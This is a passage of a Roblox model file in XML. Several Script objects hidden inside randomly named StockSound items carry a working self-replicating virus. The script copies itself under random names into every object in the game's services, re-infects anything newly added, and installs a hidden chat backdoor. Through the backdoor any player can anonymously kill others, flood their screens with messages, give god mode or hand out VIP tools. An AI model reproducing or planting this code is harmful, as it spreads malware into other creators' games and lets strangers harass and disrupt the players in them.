for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="StockSound" referent="RBX235">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">vbggmqg6w</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX236">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">6s09854</string>
								<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Part" referent="RBX237">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">12</int>
						<CoordinateFrame name="CFrame">
							<X>-10.8488188</X>
							<Y>3.30506802</Y>
							<Z>-10.1720943</Z>
							<R00>-0.313818604</R00>
							<R01>-0.0172081571</R01>
							<R02>-0.949327052</R02>
							<R10>-0.000132629575</R10>
							<R11>0.999836564</R11>
							<R12>-0.0180798844</R12>
							<R20>0.949482977</R20>
							<R21>-0.00554789416</R21>
							<R22>-0.313769609</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<token name="Controller">0</token>
						<bool name="ControllerFlagShown">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Left Arm</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>2</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="StockSound" referent="RBX238">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">x66b1q</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX239">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">ipf7</string>
								<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
